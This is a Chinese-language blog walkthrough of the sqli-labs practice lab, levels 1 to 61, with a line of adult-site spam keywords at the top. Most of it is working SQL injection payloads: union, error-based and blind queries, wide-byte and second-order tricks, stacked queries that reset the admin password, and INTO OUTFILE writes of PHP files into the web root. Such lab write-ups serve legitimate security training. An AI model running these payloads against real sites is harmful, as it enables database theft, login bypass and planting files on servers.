最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

sql-lab通關(guān)

2023-08-04 13:57 作者:笨蛋灬你變了  | 我要投稿

less-1

?id=1'

單引號報錯,有回顯信息,無限制

?id=1' and '1'='2 頁面有不同,字符型

less-2

?id=1'

單引號報錯,有回顯信息,頁面有不同,無限制

?id=1 and 1=2 頁面有不同,數(shù)字型

less-3

?id=1'

單引號報錯,有回顯信息,頁面有不同,無限制

?id=1') and ('1')=('2 頁面有不同,單引號+括號

less-4

?id=1"

雙引號報錯,有回顯信息,頁面有不同,無限制

?id=1") and ("1")=("2 頁面有不同,雙引號+括號

less-5

?id=1'

單引號報錯,無回顯信息,無限制

?id=1' and '1'='2 頁面有不同,字符型

無回顯信息,可以使用時間盲注

?id=1' and sleep(5) --+
?id=1' and if(1=1,sleep(5),1) --+
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
#ascii表 A-z 65-122 ? database()=security


返回錯誤信息,可以使用雙注入查詢、報錯注入

#雙注入
select 1,count(*),floor(rand(0)*2) as bd from information_schema.tables group by bd
select 1,count(*),concat((select database()),':',floor(rand(0)*2)) as bd from information_schema.tables group by bd
#報錯注入1
select 1,2,extractvalue(1,concat(0x7e,database()))
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 50,1))) --+
#報錯注入2
select 1,2,updatexml(1,concat(0x7e,database()),1) --+
?id=1' union select 1,2,updatexml(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1)),1) --+

less-6

?id=1"

雙引號報錯,無回顯信息,無限制

類似less-5

less-7

?id=1'

單引號報錯,無回顯信息,無限制,use outfile(寫入文件)

into outfile()

?id=-1')) union select 1,'<?php phpinfo() ?>',3 into outfile "/var/www/html/Less-7/test.php"--+
#雖然會報錯,但是文件已經(jīng)寫入進(jìn)去了
#進(jìn)行訪問
/test.php

  1. 目錄有寫入權(quán)限

  2. 絕對路徑

less-8

?id=1'

單引號出現(xiàn)頁面變化,無回顯,無限制

?id=1' and length(database())=8--+
?id=1' and ascii(substr(database(),1,1))=115--+
#database()=security

使用盲注進(jìn)行爆破

less-9

?id=1

無論id后面添加任何值頁面都無反應(yīng)

嘗試時間盲注:單引號

?id=1' and sleep(5)--+
?id=1' and if (ascii(substr(database(),1,1))=115,sleep(5),1)--+

less-10

?id=1

無論id后面添加任何值頁面都無反應(yīng)

嘗試時間盲注:雙引號

?id=1" and sleep(5)--+
?id=1" and if (ascii(substr(database(),1,1))=115,sleep(5),1)--+

less-11

頁面是一個提交框:post請求

  1. username:1 password:1 頁面無反應(yīng)

  2. username:1' password:1 頁面報錯

  3. username:1' union select 1,2 # password: 有回顯,無限制

  4. username:1' union select 1,table_schema from information_schema.tables # password: 有回顯,無限制

less-12

頁面是一個提交框:post請求

  1. username:1 password:1 頁面無反應(yīng)

  2. username:1" password:1 頁面報錯

less-13

頁面是一個提交框:post請求

  1. username:1 password:1 頁面無反應(yīng)

  2. username:1' password:1 頁面報錯:根據(jù)報錯顯示推測:為: ')

  3. username:1')union select 1,2# password:1 頁面顯示成功登錄,無回顯,無限制(登錄成功是因?yàn)閡nion后面語句執(zhí)行使得username=1,password=2)

  4. username:admin') ?# password: 頁面顯示成功登錄,無回顯,無限制(登錄成功是因?yàn)榇嬖赼dmin這個賬戶,#繞過密碼登錄)

  5. username:admin') and length(database())=8 # password: 布爾盲注

less-14

頁面是一個提交框:post請求

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:1") password:1

    頁面報錯:推測為雙引號

  3. username:admin" # password:1 登錄成功

  4. username:admin“ and length(database())=8 # password: 布爾盲注

less-15

頁面是一個提交框:post請求

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin' # password:1 登錄成功

  3. username:admin' and length(database())=8 # password: 登錄成功,布爾盲注

  4. username:admin' and ascii(substr(database(),1,1))=115# password: 登錄成功,布爾盲注

less-16

頁面是一個提交框:post請求

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin") # password:1 登錄成功

  3. username:admin") and length(database())=8 # password: 登錄成功,布爾盲注

less-17

頁面顯示密碼重置,Dhakkan: UPDATE user SET password=xxx WHERE username=xxx

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:Dhakkan password:1 成功修改密碼

  3. username:Dhakkan’ password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  4. username:Dhakkan password:1‘ 成功修改密碼,報錯

  5. username:Dhakkan password:1“ 成功修改密碼

  6. username:Dhakkan password:1' and sleep(5)# 成功修改密碼,并延時。但是不是5秒(因?yàn)閡pdate更新中有where條件限制了用戶為Dhakkan,但是進(jìn)行時間盲注時的#將where條件注釋了,導(dǎo)致將數(shù)據(jù)庫中所有的用戶的密碼都進(jìn)行了更改,所以延遲時間為數(shù)據(jù)庫中的用戶數(shù)X5)

  7. username:Dhakkan password:報錯注入 1' and extractvalue(1,concat(0x7e,database()))# 1' and updatexml(1,concat(0x7e,database()),1)# 1' and (select 1,count(),concat(floor(rand(0)2),database()) as bd from information_schema.schemata group by bd)#(子查詢=雙注入查詢) ? ? ? ?Operand should contain 1 column(s) 1' and (select 1 from (select 1,count(),concat(floor(rand(0)2),database()) as bd from information_schema.schemata group by bd)bd2)#(from中的子查詢=派生表)(select用union,update、delete、insert用or/and)

less-18

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin password:0(正確的賬號密碼) 登錄成功,有回顯:user agent

  3. bp抓包:修改:User-Agent: ' 登錄成功,報錯

  4. bp抓包:修改:User-Agent: '’ 登錄成功(insert into 表名(1,2,3)值('UA','IP','username'))

  5. bp抓包:修改:User-Agent:'and database() and' 登錄成功,但是database()被原樣輸出,沒有被執(zhí)行(sleep(5)也不行),嘗試報錯注入

  6. bp抓包:修改:User-Agent: 'and extractvalue(1,concat(0x7e,database())) and' 'and updatexml(1,concat(0x7e,database()),1) and' 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2) and'

less-19

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin password:0(正確的賬號密碼) 登錄成功,有回顯:referer

  3. bp抓包:修改:Referer: ' 登錄成功,報錯

  4. bp抓包:修改:Referer: '’ 登錄成功(insert into 表名(1,2,3)值('UA','IP','username'))

  5. bp抓包:修改:Referer: 'and database() and' 登錄成功,但是database()被原樣輸出,沒有被執(zhí)行(sleep(5)也不行),嘗試報錯注入

  6. bp抓包:修改:Referer: 'and extractvalue(1,concat(0x7e,database())) and' 'and updatexml(1,concat(0x7e,database()),1) and' 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2) and'

less-20

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id

  3. burp抓post請求和get請求兩個包,每個修改: ' 直到:get請求的Cookie: uname=admin'; 報錯

  4. 修改cookie:uname=admin 'and extractvalue(1,concat(0x7e,database()))# 'and updatexml(1,concat(0x7e,database()),1) # 'and (select 1 from(select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)#

less-21

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id

  3. 發(fā)現(xiàn)cookie:YWRtaW4=(admin的base64編碼) cookie:YWRtaW4= ' (無變化) cookie:admin ' (報錯)

  4. 修改cookie:admin 'and extractvalue(1,concat(0x7e,database()))# 報錯,確定閉合為 ')

  5. 修改cookie:admin ')and extractvalue(1,concat(0x7e,database()))# 報錯

  6. 修改cookie:YWRtaW4gJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSkpIw==(第五步base64編碼)

    YWRtaW4gJylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkgIw==

    YWRtaW4gJylhbmQgKHNlbGVjdCAxIGZyb20oc2VsZWN0IGNvdW50KCopLGNvbmNhdChkYXRhYmFzZSgpLGZsb29yKHJhbmQoMCkqMikpIGFzIGJkIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGdyb3VwIGJ5IGJkKWJkMikj

less-22

  1. username:1 password:1 登錄失敗,其余無反應(yīng),無回顯,無限制

  2. username:admin password:0(正確的賬號密碼) 登錄成功,有回顯: user agent ip cookie login name password id

  3. 發(fā)現(xiàn)cookie:YWRtaW4=(admin的base64編碼) cookie:YWRtaW4= ' (無變化)

  4. 使用 ' " ') ')) ") ")) \ / 這些符號修改cookie: admin 'and extractvalue(1,concat(0x7e,database()))#再進(jìn)行編碼

  5. admin "and extractvalue(1,concat(0x7e,database()))#成功 YWRtaW4gImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkj YWRtaW4gImFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKSAj YWRtaW4gImFuZCAoc2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KGRhdGFiYXNlKCksZmxvb3IocmFuZCgwKSoyKSkgYXMgYmQgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgZ3JvdXAgYnkgYmQpYmQyKSM=

less-23

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 單引號報錯

  3. ?id=1' and '1'='1 正常顯示 ?id=1' and '1'='2 無回顯 表明單引號包裹,字符型,無字符過濾

  4. 根據(jù)報錯回顯構(gòu)造和 ?id=1' and '1'='1 ?id=1' and length(database())= '1 無回顯 ?id=1' and length(database())= '8 回顯信息,使用布爾盲注 ?id=1' and length((select table_name from information_schema.tables where table_schema= 'security' limit 0,1))= '1 ?id=1' and length((select table_name from information_schema.tables where table_schema= 'security' limit 0,1))= '6 有回顯

less-24

頁面存在登錄,新用戶創(chuàng)建,登錄成功后,可修改密碼

  1. 分別抓包各頁面,并對參數(shù)加 ' 測試:無效果

  2. 再注冊新用戶時,特殊符號不會被過濾,也會寫進(jìn)數(shù)據(jù)庫中,于是嘗試二次注入

  3. 新建用戶:admin'#/1

  4. 修改新用戶密碼:admin'#/2

  5. 此時數(shù)據(jù)庫會將 '#特殊符號進(jìn)行執(zhí)行,修改的是admin的密碼即 admin/2 admin'#/1

less-25

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 單引號報錯

  3. ?id=1' and '1'='1 顯示:and 和 or被過濾

  4. ?id=1' && '1'='1 && '1'='1內(nèi)容不被執(zhí)行

  5. ?id=1' || ?'1'='1(或) ?id=1' || ?'1'='2 執(zhí)行,但是是 1' 決定式子是否成立,即恒成立 ?id= -1' || ?'1'='1 顯示登錄信息 ?id= -1' || ?'1'='2 無回顯

  6. ?id=-1' || length(database())= '1 無回顯 ?id=-1' || length(database())= '8 回顯信息,使用布爾盲注

less-26

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 單引號報錯

  3. ?id=-1' || length(database())= '1 -1'中的 -被過濾,空格被過濾

  4. ?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注

  5. 繞過空格

    ?id=0'/**/||/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema= "security"/**/limit/**/0,1))='6
    #/**/ \ 被過濾(/**/ \t ()、%a0替換空格)
    ?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='6
    ?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='29
    成功
    #嘗試使用報錯注入
    ?id=0'||(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))))||'1'='1
    ?id=0'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1'='1
    成功

less-27

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 單引號報錯

  3. ?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注

  4. ?id=0'|| length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")))='6 union和select被過濾 嘗試大小寫,復(fù)寫繞過

  5. ?id=0'|| length((SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='6 ?id=0'|| length((SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='29 成功 ?id=0'||(extractvalue(1,concat(0x7e,(SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))||'1'='1 ?id=0'||(updatexml(1,concat(0x7e,(SSELECTELECT(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))||'1'='1

less-28

  1. ?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯登錄信息,使用布爾盲注

  2. ?id=0'|| length((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='6 ?id=0'|| length((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")))='29

  3. ?id=0'|| ascii(substr((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),1,1))='29 無回顯 ?id=0'|| ascii(substr((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),1,1))='101 回顯登錄信息(e)

less-29

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 單引號報錯

  3. ?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯

  4. ?id=0' || length(database())= '1 無回顯 ?id=0' || length(database())= '8 回顯信息,使用布爾盲注

  5. ?id=0' || length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= '6 回顯信息

less-30

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 、)、')、)) 回顯登錄信息 ?id=1" 無回顯:猜測為"閉合

  3. ?id=1" and "1"="1 回顯登錄信息 ?id=1" and "1"="2 無回顯

  4. ?id=0" || length(database())= "1 無回顯 ?id=0" || length(database())= "8 回顯信息,使用布爾盲注

  5. ?id=0" || length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= "6(emails) 回顯登錄信息

less-31

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1" 報錯 ?id=1") 閉合

  3. ?id=1") and ("1")=("1 回顯登錄信息 ?id=1") and ("1")=("2 無回顯

  4. ?id=1") and length(database())=("1 無回顯 ?id=1") and length(database())=("8 回顯信息,使用布爾盲注

  5. ?id=1") and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= ("6(emails) 回顯登錄信息

less-32

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 頁面顯示1\'

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 報錯

  4. ?id=1%df' and length(database())=1--+ 無回顯 ?id=1%df ' and length(database())=8--+ 回顯信息,使用布爾盲注

  5. ?id=1%df' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息

less-33(同32)

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 頁面顯示1\'

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 報錯

  4. ?id=1%df' and length(database())=1--+ 無回顯 ?id=1%df ' and length(database())=8--+ 回顯信息,使用布爾盲注

  5. ?id=1%df' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息

less-34

  1. username:admin password:0

  2. username:admin' password:0 顯示:admin\'

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 username:admin%df' password:0 顯示:admin%df\'

  4. 報錯

    • username:admin?' password:

    • burp抓包輸入:admin%df'

  5. username:admin?' and length(database())=1# password: username:admin?' and length(database())=8# password: 無回顯

  6. username:admin?' or length(database())=1# password: 無回顯 username:admin?' or length(database())=8# password: 回顯登錄信息

  7. username:admin?' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6# password: 回顯登錄信息

less-35

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 頁面顯示1\' 報錯

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 顯示:1?\' 報錯

  4. ?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯

  5. ?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息

  6. ?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息

less-36

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 頁面顯示1\' 回顯登錄信息

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 ?id=1%df' 顯示:1?\' 報錯

  4. ?id=2%df‘ and 1=1--+ 回顯登錄信息 ?id=2%df‘ and 1=2--+ 無回顯信息

  5. ?id=2%df‘ and length(database())=1--+ 無回顯 ?id=2%df‘ and length(database())=8--+ 回顯登錄信息

  6. ?id=2%df‘ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息

less-37(同34)

  1. username:admin password:0

  2. username:admin' password:0 顯示:admin\'

  3. 對輸入進(jìn)行轉(zhuǎn)義,嘗試寬字節(jié)注入 username:admin%df' password:0 顯示:admin%df\'

  4. 報錯

    • username:admin?' password:

    • burp抓包輸入:admin%df'

  5. username:admin?' and length(database())=1# password: username:admin?' and length(database())=8# password: 無回顯

  6. username:admin?' or length(database())=1# password: 無回顯 username:admin?' or length(database())=8# password: 回顯登錄信息

  7. username:admin?' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6# password: 回顯登錄信息

less-38

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 報錯

  3. ?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯

  4. ?id=1' and length(database())=1--+ 無回顯 ?id=1' and length(database())=8--+ 回顯登錄信息

  5. ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6--+ 回顯登錄信息

less-39

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1' 報錯

  3. ?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯信息

  4. ?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息

  5. ?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息

less-40

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1" 、)、')、)) 回顯登錄信息 ?id=1' 無回顯:猜測為 ' 閉合

  3. ?id=1' and '1'='1 回顯登錄信息 ?id=1' and '1'='2 無回顯

  4. ?id=1' and length(database())= '1 無回顯 ?id=1' and length(database())= '8 回顯信息,使用布爾盲注

  5. ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='6(emails) 回顯登錄信息

less-41

  1. ?id=1 頁面顯示: login name:dumb password:0

  2. ?id=1'、"、)、')、")、)) 無回顯

  3. ?id=1 and 1=1 回顯登錄信息 ?id=1 and 1=2 無回顯信息

  4. ?id=1 and length(database())=1 無回顯 ?id=1 and length(database())=8 回顯登錄信息

  5. ?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6 回顯登錄信息

less-42

頁面存在登錄,登錄成功后,可修改密碼

  1. 分別抓包各頁面,并對參數(shù)加 ' 測試:無效果

  2. 沒辦法,根據(jù)42關(guān)的題目為:stacked query(堆疊查詢)

  3. 進(jìn)行堆疊注入 username:admin password:0';update users set password='1' where ?username='admin'#(users表是未卜先知了,用于驗(yàn)證此處存在堆疊注入,可以使用creat創(chuàng)建表)

  4. 驗(yàn)證username:admin password:1 成功登錄

less-43

  1. 題目stacked query(堆疊查詢)

  2. 進(jìn)行堆疊注入 username:admin password:1';update users set password='2' where ?username='admin'# 報錯:') 閉合

  3. username:admin password:1');update users set password='2' where ?username='admin'#

  4. 驗(yàn)證username:admin password:2 成功登錄

less-44

  1. 題目stacked query(堆疊查詢)

  2. 進(jìn)行堆疊注入 username:admin password:2';update users set password='3' where ?username='admin'#

  3. 驗(yàn)證username:admin password:3 成功登錄

less-45

  1. 題目stacked query(堆疊查詢)

  2. 進(jìn)行堆疊注入 username:admin password:3';update users set password='4' where ?username='admin'# 登錄失敗

  3. username:admin password:3');update users set password='4' where ?username='admin'# 盲猜:將:'、"、)、')、")、))。一個個試

  4. 驗(yàn)證username:admin password:4 成功登錄

less-46

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 報錯

  3. ?sort=4 頁面顯示:Unknown column '4' in 'order clause' 推測:select * from security.users order by 1

  4. ?sort=1 desc 頁面降序排列,表名此處存在漏洞

  5. ?sort=1 and sleep(1)--+ 18秒,剛好有18個數(shù)據(jù),每個1秒

  6. 時間盲注 ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度

  7. 報錯注入 ?sort=1 and extractvalue(1,concat(0x7e,database()))--+ ?sort=1 and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1 and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)

  8. 一句話木馬 ?sort=1 and (select '<?php phpinfo() ?>') into outfile 'var/www/html/Less-46/test.php' --+ 頁面顯示:Can't create/write to file '/var/lib/mysql/var/www/html/Less-46/test.php' (Errcode: 2)

  9. ?sort=1 and (select '<?php phpinfo() ?>') into outfile "/var/www/html/Less-46/test.php" --+ 成功寫入文件,但是內(nèi)容中沒有phpinfo()

  10. ?sort=1 and (select '<?php phpinfo() ?>') into outfile "/var/www/html/Less-46/test.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e 寫入成功,每行都以<?php phpinfo() ?>結(jié)尾 lines terminated by 0x3c3f70687020706870696e666f2829203f3e(每行以十六進(jìn)制結(jié)尾)

  11. http://xxxxxxxxx/Less-46/test.php 訪問phpinfo文件

less-47

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 報錯

  3. ?sort=1“、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表

  4. ?sort=1' and sleep(1)--+ 同46,但是再?sort=1加單引號 '

less-48

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1'、"、)、2、3、4、5、6、dfsd 無回顯

  3. ?sort=1、2、3 頁面顯示不同排序

  4. 直接盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+

less-49

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 無回顯

  3. ?sort=1“、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表

  4. ?sort=1' and sleep(1)--+ 同47 ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+

less-50

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 報錯

  3. ?sort=1、2、3 頁面顯示不同排序

  4. ?sort=4 頁面顯示:Unknown column '4' in 'order clause' 推測:select * from security.users order by 1

  5. ?sort=1 desc 頁面降序排列,表名此處存在漏洞

  6. 報錯注入 ?sort=1 and extractvalue(1,concat(0x7e,database()))--+ ?sort=1 and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1 and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)

  7. 時間盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度

less-51

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 報錯

  3. ?sort=1"、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表

  4. 報錯注入

    ?sort=1' and updatexml(1,concat(0x7e,database()),1)--+ ?sort=1' and (select 1 from (select count(),concat(database(),floor(rand(0)2)) as bd from information_schema.schemata group by bd)bd2)--+(派生表)

  5. 時間盲注 ?sort=1' and sleep(1)--+ ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度

less-52

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1'、"、)、2、3、4、5、6、dfsd 無回顯

  3. 直接盲注 ?sort=1 and sleep(1)--+ ?sort=1 and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+

less-53

  1. ?sort=1 頁面顯示用戶列表

  2. ?sort=1' 無回顯

  3. ?sort=1"、)、2、3、4、5、6、dfsd 頁面都顯示用戶列表

  4. 時間盲注 ?sort=1' and sleep(1)--+ ?sort=1' and if (ascii(substr(database(),1,1))=115,sleep(1),1)--+ 數(shù)據(jù)庫 ?sort=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))= 6,sleep(1),1)--+ 表名長度

less-54

  1. ?id=1(數(shù)據(jù)庫為:challenges)

  2. ?id=1' 無回顯

  3. ?id=-1‘ union select 1,2,3--+

  4. ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:G84L30CHOC

  5. ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='G84L30CHOC'--+ 顯示:id,sessid,secret_1A6W,tryy

  6. ?id=-1' union select 1,2,secret_1A6W from challenges.G84L30CHOC--+ 顯示:WJBEHUHFoXEHjhKq4Wnurbdv

less-55

  1. ?id=1 and 1=1 ?id=1 and 1=2 頁面變化:顯示登錄信息

  2. ?id=1) and (1)=(1 ?id=1) and (1)=(2 頁面變化:顯示登錄信息

  3. ?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:ZJSHM2DQ8C

  4. ?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ZJSHM2DQ8C'--+ 顯示:id,sessid,secret_F863,tryy

  5. ?id=-1) union select 1,2,secret_F863 from challenges.ZJSHM2DQ8C--+ 顯示:L40AihaqkVCdlw65coL81gv8

less-56

  1. ?id=1')

  2. ?id=1') and ('1')=('1 ?id=1') and ('1')=('2 頁面變化:顯示登錄信息

  3. ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:KX05DRNQNP

  4. ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='KX05DRNQNP'--+ 顯示:id,sessid,secret_KSM0,tryy

  5. ?id=-1') union select 1,2,secret_KSM0 from challenges.KX05DRNQNP--+ 顯示:6xPDGoV2DVCaMzWGbnuKf0p2

less-57

  1. ?id=1"

  2. ?id=1" and "1"="1 ?id=1" and "1"="2 頁面變化:顯示登錄信息

  3. ?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ 顯示:RJSIGBQM4G

  4. ?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='RJSIGBQM4G'--+ 顯示:id,sessid,secret_6FSL,tryy

  5. ?id=-1" union select 1,2,secret_6FSL from challenges.RJSIGBQM4G--+ 顯示:PkL01Ui2JbuHfxG9XkR3yc6Q

less-58

  1. ?id=1

  2. ?id=1' 報錯

  3. 報錯注入 ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:JBIP1R5EMM

  4. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='JBIP1R5EMM')),1)--+ 顯示:id,sessid,secret_0B7B,tryy

  5. ?id=1' and updatexml(1,concat(0x7e,( select secret_0B7B from challenges.JBIP1R5EMM)),1)--+ 顯示:9JwkTrU87NHBBP1JbHLqi6Ja

less-59

  1. ?id=1

  2. ?id=1 and 1=1 ?id=1 and 1=2 頁面回顯不同

  3. 報錯注入 ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:9KYV46AU0T

  4. ?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='9KYV46AU0T')),1)--+ 顯示:id,sessid,secret_W9RR,tryy

  5. ?id=1 and updatexml(1,concat(0x7e,( select secret_W9RR from challenges.9KYV46AU0T)),1)--+ 顯示:A8Kp6YmTsMFaGouiQuz7Vp0W

less-60

  1. ?id=1" 報錯

  2. 報錯注入 ?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:PJQAGLUUXF

  3. ?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='PJQAGLUUXF')),1)--+ 顯示:id,sessid,secret_8GNJ,tryy

  4. ?id=1") and updatexml(1,concat(0x7e,( select secret_8GNJ from challenges.PJQAGLUUXF)),1)--+ 顯示:FP4sSmvc9iLmGtNA7pRZqcsQ

less-61

  1. ?id=1' 報錯

  2. 報錯注入 ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+ 顯示:1PA6G0TRVN

